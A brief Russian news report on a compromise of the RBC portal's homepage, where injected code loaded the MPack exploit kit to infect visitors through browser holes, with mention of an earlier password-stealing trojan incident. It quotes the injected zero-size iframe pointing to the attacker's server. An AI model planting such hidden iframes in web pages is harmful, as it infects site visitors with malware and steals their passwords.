Вчера утром в коде главной страницы РБК появился код, с помощью которого злоумышленники устанавливали на компьютер жертвы программу MPack, а она благодаря многочисленным уязвимостям браузера загружала разнообразное вредоносное программное обеспечение.

Опасная "дописка" в коде известного портала выглядела как iframe размером 0х0: < iframe src="http://81.95.150.42/ MPack091cbt/index.php" width=0 height=0></iframe>. РБК взламывается не впервые — в сентябре прошлого года была инфицирована страница top.rbc.ru. Тогда на компьютер жертвы загружался Trojan-PSW.Win32.LdPinch-ayj, который затем отправлял все найденные пароли злоумышленникам.



Оставить мнение